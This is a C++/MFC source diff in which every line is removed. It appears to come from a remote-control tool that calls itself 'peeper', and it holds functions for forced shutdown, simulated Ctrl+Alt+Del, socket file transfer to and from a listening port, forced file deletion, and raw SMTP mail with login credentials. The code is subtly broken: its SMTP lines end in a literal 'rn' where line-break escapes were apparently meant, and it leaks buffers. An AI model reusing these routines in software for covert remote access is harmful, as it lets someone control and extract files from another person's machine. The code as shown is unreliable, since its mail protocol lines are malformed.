- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
- if(AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0))
- {
- return ::ExitWindowsEx(uFlag, 0);
- }
- }
- }
- return ::ExitWindowsEx(uFlag, 0);
- }
- void WINAPI PL_Send_CtrlAltDel()
- {
- ::PL_KeyDown(VK_CONTROL, 0);
- ::PL_KeyDown(VK_MENU, 0);
- ::PL_KeyDown(VK_DELETE, 0);
- ::Sleep(2000);
- ::PL_KeyUp(VK_CONTROL, 0);
- ::PL_KeyUp(VK_MENU, 0);
- ::PL_KeyUp(VK_DELETE, 0);
- }
- BOOL WINAPI PL_CopyFileClient(CString strIP, UINT uPort, char *chSrc,
- BOOL bSend, HWND hNotifyWnd)
- {
- BOOL bRet = FALSE;
- CSocket sckClient;
- CFile file;
- do
- {
- if(bSend)
- {
- bRet = file.Open(chSrc, CFile::modeRead);
- }
- else
- {
- bRet = file.Open(chSrc, CFile::modeCreate | CFile::modeWrite);
- }
- if(!bRet)
- {
- break ;
- }
- bRet = sckClient.Create();
- if(!bRet)
- {
- break ;
- }
- bRet = sckClient.Connect(strIP, uPort);
- if(!bRet)
- {
- break ;
- }
- BYTE *chFileData = new BYTE[PL_SOCKET_MAXBYTES+1];
- char chData[10];
- int nSize = 0;
- if(bSend)
- {
- nSize = file.GetLength();
- int nRead = nSize;
- ZeroMemory(chData, 10);
- memcpy(chData, &nSize, sizeof(int));
- int nRet = sckClient.Send(chData, sizeof(int));
- if(nRet <= 0)
- {
- bRet = FALSE;
- break ;
- }
- while(nRead > 0)
- {
- int n1 = min(nRead, PL_SOCKET_MAXBYTES);
- int n2 = file.Read(chFileData, n1);
- nRead -= n2;
- nRet = sckClient.Send(chFileData, n2);
- if(nRet <= 0)
- {
- bRet = FALSE;
- break ;
- }
- if(hNotifyWnd != NULL)
- {
- int nProgress = (int)(((float)(nSize - nRead))*100.0f/((float)nSize));
- ::PostMessage(hNotifyWnd, PL_PEEPER_NOTIFY_COPYFILE,
- (WPARAM)nProgress, NULL);
- }
- bRet = TRUE;
- }
- }
- else
- {
- char chData[10];
- ZeroMemory(chData, 10);
- nSize = 0;
- int nRet = sckClient.Receive(chData, 10);//读文件大小
- if(nRet <= 0)
- {
- bRet = FALSE;
- break ;
- }
- nSize = *((int*)(chData));
- if(nSize <= 0)
- {
- bRet = FALSE;
- break ;
- }
- BYTE *chFileData = new BYTE[PL_SOCKET_MAXBYTES+1];
- int nWrite = 0;
- while(nWrite < nSize)
- {
- nRet = sckClient.Receive(chFileData, PL_SOCKET_MAXBYTES);
- if(nRet <= 0)
- {
- bRet = FALSE;
- break ;
- }
- file.Write(chFileData, nRet);
- nWrite += nRet;
- if(hNotifyWnd != NULL)
- {
- int nProgress = (int)(((float)nWrite)*100.0f/((float)nSize));
- ::PostMessage(hNotifyWnd, PL_PEEPER_NOTIFY_COPYFILE,
- (WPARAM)nProgress, NULL);
- }
- bRet = TRUE;
- }
- }
- delete []chFileData;
- if(!bRet) // 送文件数据出错.
- {
- break ;
- }
- }while(0);
- if(sckClient.m_hSocket != INVALID_SOCKET)
- {
- sckClient.Close();
- }
- if(file.m_hFile != CFile::hFileNull)
- {
- file.Close();
- }
- return bRet;
- }
- BOOL WINAPI PL_CopyFileServer(UINT uPort, char *chDes, BOOL bSend, HWND hNotifyWnd)
- {
- BOOL bRet = FALSE;
- CFile file;
- CSocket sckServer;
- CSocket sckClient;
- do
- {
- if(!bSend)
- {
- bRet = file.Open(chDes, CFile::modeCreate | CFile::modeWrite);
- }
- else
- {
- bRet = file.Open(chDes, CFile::modeRead);
- }
- if(!bRet)
- {
- break ;
- }
- bRet = sckServer.Create(uPort);
- if(!bRet)
- {
- break ;
- }
- bRet = sckServer.Listen();
- if(!bRet)
- {
- break ;
- }
- bRet = sckServer.Accept(sckClient);
- if(!bRet)
- {
- break ;
- }
- char chData[10];
- BYTE *chFileData = new BYTE[PL_SOCKET_MAXBYTES+1];
- int nSize = 0;
- if(!bSend)
- {
- ZeroMemory(chData, 10);
- int nRet = sckClient.Receive(chData, 10);//读文件大小
- if(nRet <= 0)
- {
- bRet = FALSE;
- break ;
- }
- nSize = *((int*)(chData));
- if(nSize <= 0)
- {
- bRet = FALSE;
- break ;
- }
- int nWrite = 0;
- while(nWrite < nSize)
- {
- nRet = sckClient.Receive(chFileData, PL_SOCKET_MAXBYTES);
- if(nRet <= 0)
- {
- bRet = FALSE;
- break ;
- }
- file.Write(chFileData, nRet);
- nWrite += nRet;
- if(hNotifyWnd != NULL)
- {
- int nProgress = (int)(((float)nWrite)*100.0f/((float)nSize));
- ::PostMessage(hNotifyWnd, PL_PEEPER_NOTIFY_COPYFILE,
- (WPARAM)nProgress, NULL);
- }
- bRet = TRUE;
- }
- }
- else
- {
- nSize = file.GetLength();
- int nRead = nSize;
- ZeroMemory(chData, 10);
- memcpy(chData, &nSize, sizeof(int));
- int nRet = sckClient.Send(chData, sizeof(int));
- if(nRet <= 0)
- {
- bRet = FALSE;
- break ;
- }
- while(nRead > 0)
- {
- int n1 = min(nRead, PL_SOCKET_MAXBYTES);
- int n2 = file.Read(chFileData, n1);
- nRead -= n2;
- nRet = sckClient.Send(chFileData, n2);
- if(nRet <= 0)
- {
- bRet = FALSE;
- break ;
- }
- if(hNotifyWnd != NULL)
- {
- int nProgress = (int)(((float)(nSize - nRead))*100.0f/((float)nSize));
- ::PostMessage(hNotifyWnd, PL_PEEPER_NOTIFY_COPYFILE,
- (WPARAM)nProgress, NULL);
- }
- bRet = TRUE;
- }
- }
- delete []chFileData;
- }while(0);
- if(sckClient.m_hSocket != INVALID_SOCKET)
- {
- sckClient.Close();
- }
- if(sckServer.m_hSocket != INVALID_SOCKET)
- {
- sckServer.Close();
- }
- if(file.m_hFile != CFile::hFileNull)
- {
- file.Close();
- }
- return bRet;
- }
- BOOL WINAPI PL_DeleteFile(char *chFileName)
- {
- BOOL bRet = FALSE;
- DWORD dwFlag = ::SetFileAttributes(chFileName, FILE_ATTRIBUTE_NORMAL);
- if(dwFlag != 0xFFFFFFFF)
- {
- bRet = ::DeleteFile(chFileName);
- }
- return bRet;
- }
- BOOL WINAPI PL_MoveFile(char *chSrcFileName, char *chDesFileName)
- {
- BOOL bRet = FALSE;
- DWORD dwFlag = ::SetFileAttributes(chSrcFileName, FILE_ATTRIBUTE_NORMAL);
- if(dwFlag != 0xFFFFFFFF)
- {
- bRet = ::MoveFile(chSrcFileName, chDesFileName);
- }
- return bRet;
- }
- BOOL WINAPI PL_SendMail(CString strSMTP, CString strFrom,
- CString strTo, CString strSubject, CString strBody)
- {
- BOOL bRet = FALSE;
- CSocket sckSmtp;
- if(sckSmtp.Create())
- {
- char chMonth[][12] = { "JAN", "FEB", "MAR", "APR", "MAY", "JUN",
- "JUL", "AUG", "SEP", "OCT", "NOV", "DEC"};
- SYSTEMTIME sm;
- ::GetLocalTime(&sm);
- CString strDate;
- // 日 月 年 时 分 秒
- strDate.Format(_T("%02d %s %02d %02d:%02d:%02d"),
- sm.wDay, chMonth[sm.wMonth-1], sm.wYear%100,
- sm.wHour, sm.wMinute, sm.wSecond);
- char chTemp[1024];
- int nRet = -1;
- if(sckSmtp.Connect(strSMTP, 25))
- {
- do
- {
- //接收信息
- ZeroMemory(chTemp, 1024);
- nRet = sckSmtp.Receive(chTemp, 1024);
- if(nRet < 0)
- break ;
- if(strncmp(chTemp, "220", 3) != 0 &&
- strncmp(chTemp, "250", 3) != 0 &&
- strncmp(chTemp, "354", 3) != 0 &&
- strncmp(chTemp, "221", 3) != 0) // 220, 250, 354, 221成功
- break ;
- //欢迎用户
- TCHAR local_host[80];
- ZeroMemory(local_host, 80*sizeof(TCHAR));
- ::gethostname(local_host, 80);
- CString strUser = CString(local_host);
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "HELO %srn", strUser);
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- //接收信息
- ZeroMemory(chTemp, 1024);
- nRet = sckSmtp.Receive(chTemp, 1024);
- if(nRet < 0)
- break ;
- if(strncmp(chTemp, "220", 3) != 0 &&
- strncmp(chTemp, "250", 3) != 0 &&
- strncmp(chTemp, "354", 3) != 0 &&
- strncmp(chTemp, "221", 3) != 0) // 220, 250, 354, 221成功
- break ;
- //mail from
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "MAIL FROM: <%s>rn", strFrom);
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- //接收信息
- ZeroMemory(chTemp, 1024);
- nRet = sckSmtp.Receive(chTemp, 1024);
- if(nRet < 0)
- break ;
- if(strncmp(chTemp, "220", 3) != 0 &&
- strncmp(chTemp, "250", 3) != 0 &&
- strncmp(chTemp, "354", 3) != 0 &&
- strncmp(chTemp, "221", 3) != 0) // 220, 250, 354, 221成功
- break ;
- //rcpt to
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "RCPT TO: <%s>rn", strTo);
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- //接收信息
- ZeroMemory(chTemp, 1024);
- nRet = sckSmtp.Receive(chTemp, 1024);
- if(nRet < 0)
- break ;
- if(strncmp(chTemp, "220", 3) != 0 &&
- strncmp(chTemp, "250", 3) != 0 &&
- strncmp(chTemp, "354", 3) != 0 &&
- strncmp(chTemp, "221", 3) != 0) // 220, 250, 354, 221成功
- break ;
- //Data
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "DATArn");
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- //接收信息
- ZeroMemory(chTemp, 1024);
- nRet = sckSmtp.Receive(chTemp, 1024);
- if(nRet < 0)
- break ;
- if(strncmp(chTemp, "220", 3) != 0 &&
- strncmp(chTemp, "250", 3) != 0 &&
- strncmp(chTemp, "354", 3) != 0 &&
- strncmp(chTemp, "221", 3) != 0) // 220, 250, 354, 221成功
- break ;
- //信件内容
- //时间
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "Date: %srn", strDate);
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- //From
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "From:%srn", strFrom);
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- //To
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "To:%srn", strTo);
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- //CC
- // ZeroMemory(chTemp, 1024);
- // sprintf(chTemp, "CC:%srn", strCC);
- // sckSmtp.Send(chTemp, strlen(chTemp));
- //Subject
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "Subject:%srn", strSubject);
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- //内容
- int nLen = strBody.GetLength() + 5;
- char *chBody = new char[nLen];
- ZeroMemory(chBody, nLen);
- sprintf(chBody, "%srn", strBody);
- nRet = sckSmtp.Send(chBody, strlen(chBody));
- delete []chBody;
- if(nRet < 0)
- break ;
- //结束
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, ".rn");
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- //接收信息
- ZeroMemory(chTemp, 1024);
- nRet = sckSmtp.Receive(chTemp, 1024);
- if(nRet < 0)
- break ;
- if(strncmp(chTemp, "220", 3) != 0 &&
- strncmp(chTemp, "250", 3) != 0 &&
- strncmp(chTemp, "354", 3) != 0 &&
- strncmp(chTemp, "221", 3) != 0) // 220, 250, 354, 221成功
- break ;
- //退出
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "QUITrn");
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- bRet = TRUE;
- }while(0);
- }
- sckSmtp.Close();
- }
- return bRet;
- }
- BOOL WINAPI PL_SendMail2(CString strSMTP, CString strFrom, CString strAuth,
- CString strPass, CString strTo, CString strSubject,
- CString strBody)
- {
- BOOL bRet = FALSE;
- CSocket sckSmtp;
- if(sckSmtp.Create())
- {
- char chMonth[][12] = { "JAN", "FEB", "MAR", "APR", "MAY", "JUN",
- "JUL", "AUG", "SEP", "OCT", "NOV", "DEC"};
- SYSTEMTIME sm;
- ::GetLocalTime(&sm);
- CString strDate;
- // 日 月 年 时 分 秒
- strDate.Format(_T("%02d %s %02d %02d:%02d:%02d"),
- sm.wDay, chMonth[sm.wMonth-1], sm.wYear%100,
- sm.wHour, sm.wMinute, sm.wSecond);
- char chTemp[1024];
- int nRet = -1;
- if(sckSmtp.Connect(strSMTP, 25))
- {
- do
- {
- //接收信息
- ZeroMemory(chTemp, 1024);
- nRet = sckSmtp.Receive(chTemp, 1024);
- if(nRet < 0)
- break ;
- if(strncmp(chTemp, "220", 3) != 0 &&
- strncmp(chTemp, "250", 3) != 0 &&
- strncmp(chTemp, "334", 3) != 0 &&
- strncmp(chTemp, "235", 3) != 0 &&
- strncmp(chTemp, "354", 3) != 0 &&
- strncmp(chTemp, "221", 3) != 0) // 220, 250, 354, 221成功
- break ;
- //欢迎用户
- char local_host[80];
- ZeroMemory(local_host, 80);
- DWORD dwLen = 80;
- GetUserName(local_host, &dwLen);
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "EHLO %srn", local_host);
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- //接收信息
- ZeroMemory(chTemp, 1024);
- nRet = sckSmtp.Receive(chTemp, 1024);
- if(nRet < 0)
- break ;
- if(strncmp(chTemp, "220", 3) != 0 &&
- strncmp(chTemp, "250", 3) != 0 &&
- strncmp(chTemp, "334", 3) != 0 &&
- strncmp(chTemp, "235", 3) != 0 &&
- strncmp(chTemp, "354", 3) != 0 &&
- strncmp(chTemp, "221", 3) != 0) // 220, 250, 354, 221成功
- break ;
- // auto login
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "AUTH LOGINrn");
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- ZeroMemory(chTemp, 1024);
- nRet = sckSmtp.Receive(chTemp, 1024);
- if(nRet < 0)
- break ;
- if(strncmp(chTemp, "220", 3) != 0 &&
- strncmp(chTemp, "250", 3) != 0 &&
- strncmp(chTemp, "334", 3) != 0 &&
- strncmp(chTemp, "235", 3) != 0 &&
- strncmp(chTemp, "354", 3) != 0 &&
- strncmp(chTemp, "221", 3) != 0) // 220, 250, 354, 221成功
- break ;
- // verify user(Base64)
- CBase64 cb;
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "%srn", cb.Encode(strAuth.GetBuffer(0), strAuth.GetLength()));
- strAuth.ReleaseBuffer();
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- ZeroMemory(chTemp, 1024);
- nRet = sckSmtp.Receive(chTemp, 1024);
- if(nRet < 0)
- break ;
- if(strncmp(chTemp, "220", 3) != 0 &&
- strncmp(chTemp, "250", 3) != 0 &&
- strncmp(chTemp, "334", 3) != 0 &&
- strncmp(chTemp, "235", 3) != 0 &&
- strncmp(chTemp, "354", 3) != 0 &&
- strncmp(chTemp, "221", 3) != 0) // 220, 250, 354, 221成功
- break ;
- // verify password
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "%srn", cb.Encode(strPass.GetBuffer(0), strPass.GetLength()));
- strPass.ReleaseBuffer();
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- ZeroMemory(chTemp, 1024);
- nRet = sckSmtp.Receive(chTemp, 1024);
- if(nRet < 0)
- break ;
- if(strncmp(chTemp, "220", 3) != 0 &&
- strncmp(chTemp, "250", 3) != 0 &&
- strncmp(chTemp, "334", 3) != 0 &&
- strncmp(chTemp, "235", 3) != 0 &&
- strncmp(chTemp, "354", 3) != 0 &&
- strncmp(chTemp, "221", 3) != 0) // 220, 250, 354, 221成功
- break ;
- //mail from
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "MAIL FROM: <%s>rn", strFrom);
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- //接收信息
- ZeroMemory(chTemp, 1024);
- nRet = sckSmtp.Receive(chTemp, 1024);
- if(nRet < 0)
- break ;
- if(strncmp(chTemp, "220", 3) != 0 &&
- strncmp(chTemp, "250", 3) != 0 &&
- strncmp(chTemp, "334", 3) != 0 &&
- strncmp(chTemp, "235", 3) != 0 &&
- strncmp(chTemp, "354", 3) != 0 &&
- strncmp(chTemp, "221", 3) != 0) // 220, 250, 354, 221成功
- break ;
- //rcpt to
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "RCPT TO: <%s>rn", strTo);
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- //接收信息
- ZeroMemory(chTemp, 1024);
- nRet = sckSmtp.Receive(chTemp, 1024);
- if(nRet < 0)
- break ;
- if(strncmp(chTemp, "220", 3) != 0 &&
- strncmp(chTemp, "250", 3) != 0 &&
- strncmp(chTemp, "334", 3) != 0 &&
- strncmp(chTemp, "235", 3) != 0 &&
- strncmp(chTemp, "354", 3) != 0 &&
- strncmp(chTemp, "221", 3) != 0) // 220, 250, 354, 221成功
- break ;
- //Data
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "DATArn");
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- //接收信息
- ZeroMemory(chTemp, 1024);
- nRet = sckSmtp.Receive(chTemp, 1024);
- if(nRet < 0)
- break ;
- if(strncmp(chTemp, "220", 3) != 0 &&
- strncmp(chTemp, "250", 3) != 0 &&
- strncmp(chTemp, "334", 3) != 0 &&
- strncmp(chTemp, "235", 3) != 0 &&
- strncmp(chTemp, "354", 3) != 0 &&
- strncmp(chTemp, "221", 3) != 0) // 220, 250, 354, 221成功
- break ;
- //信件内容
- //时间
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "Date: %srn", strDate);
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- //From
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "From:%srn", strFrom);
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- //To
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "To:%srn", strTo);
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- //CC
- // ZeroMemory(chTemp, 1024);
- // sprintf(chTemp, "CC:%srn", strCC);
- // sckSmtp.Send(chTemp, strlen(chTemp));
- //Subject
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "Subject:%srn", strSubject);
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- //内容
- int nLen = strBody.GetLength() + 5;
- char *chBody = new char[nLen];
- ZeroMemory(chBody, nLen);
- sprintf(chBody, "%srn", strBody);
- nRet = sckSmtp.Send(chBody, strlen(chBody));
- delete []chBody;
- if(nRet < 0)
- break ;
- //结束
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, ".rn");
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- //接收信息
- ZeroMemory(chTemp, 1024);
- nRet = sckSmtp.Receive(chTemp, 1024);
- if(nRet < 0)
- break ;
- if(strncmp(chTemp, "220", 3) != 0 &&
- strncmp(chTemp, "250", 3) != 0 &&
- strncmp(chTemp, "334", 3) != 0 &&
- strncmp(chTemp, "235", 3) != 0 &&
- strncmp(chTemp, "354", 3) != 0 &&
- strncmp(chTemp, "221", 3) != 0) // 220, 250, 354, 221成功
- break ;
- //退出
- ZeroMemory(chTemp, 1024);
- sprintf(chTemp, "QUITrn");
- nRet = sckSmtp.Send(chTemp, strlen(chTemp));
- if(nRet < 0)
- break ;
- bRet = TRUE;
- }while(0);
- }
- sckSmtp.Close();
- }
- return bRet;
- }
- BOOL WINAPI PL_DetectInternetConnect(CString strHTTP)
- {
- BOOL bRet = FALSE;
- HINTERNET hSession = NULL;
- hSession = ::InternetOpen(_T("peeper"), PRE_CONFIG_INTERNET_ACCESS, NULL, NULL, 0);
- if(hSession)
- {
- HINTERNET hHTTPSession = ::InternetOpenUrl(hSession,
- strHTTP, NULL, 0, INTERNET_FLAG_RELOAD, 0);
- if(hHTTPSession)
- {
- bRet = TRUE;
- ::InternetCloseHandle(hHTTPSession);
- }
- ::InternetCloseHandle(hSession);
- }
- return bRet;
- }
- HGLOBAL WINAPI PL_ReadDataFromFile(CString strFile)
- {
- HGLOBAL hData = NULL;
- CFile file;
- if(file.Open(strFile, CFile::modeRead))
- {
- int nLen = file.GetLength();
- hData = ::GlobalAlloc(GHND, nLen);
- if(hData != NULL)
- {
- LPVOID lpData = ::GlobalLock(hData);
- file.ReadHuge(lpData, nLen);
- GlobalUnlock(hData);
- }
- file.Close();
- }
- return hData;
- }
- BOOL WINAPI PL_WriteDataToFile(CString strFile, HGLOBAL hData)
- {
- BOOL bRet = FALSE;
- CFile file;
- if(file.Open(strFile, CFile::modeCreate | CFile::modeWrite))
- {
- if(hData != NULL)
- {
- int nLen = ::GlobalSize(hData);
- LPVOID lpData = ::GlobalLock(hData);
- file.WriteHuge(lpData, nLen);
- GlobalUnlock(hData);
- bRet = TRUE;
- }
- file.Close();
- }
- return bRet;
- }